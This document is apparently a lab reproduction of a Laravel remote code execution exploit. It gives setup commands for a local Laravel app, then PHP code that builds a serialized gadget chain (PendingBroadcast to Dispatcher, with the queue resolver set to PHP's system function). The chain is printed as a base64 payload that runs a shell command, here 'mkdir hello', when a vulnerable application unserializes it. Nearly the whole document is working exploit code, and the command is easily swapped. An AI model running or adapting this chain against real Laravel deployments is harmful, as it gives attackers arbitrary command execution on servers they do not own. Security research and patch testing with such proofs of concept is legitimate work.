composer install
cp .env.example .env
php artisan key:generate
php artisan serve # it will listening 8000 port in localhost

<?php
namespace Illuminate\Contracts\Queue{
    interface ShouldQueue
    {
        //
    }
}

namespace Illuminate\Bus{
    class Dispatcher{
        protected $container;
        protected $pipeline;
        protected $pipes = [];
        protected $handlers = [];
        protected $queueResolver;
        function __construct()
        {
            $this->queueResolver = "system";

        }
    }
}

namespace Illuminate\Broadcasting{

    use Illuminate\Contracts\Queue\ShouldQueue;

    class BroadcastEvent implements ShouldQueue {
        function __construct()
        {

        }
    }

    class PendingBroadcast{
        protected $events;
        protected $event;
        function __construct()
        {
            $this->event = new BroadcastEvent();
            $this->event->connection = "mkdir hello";
            $this->events = new \Illuminate\Bus\Dispatcher();
        }
    }
}
namespace{
    $a = new \Illuminate\Broadcasting\PendingBroadcast();
    echo base64_encode(serialize($a));
}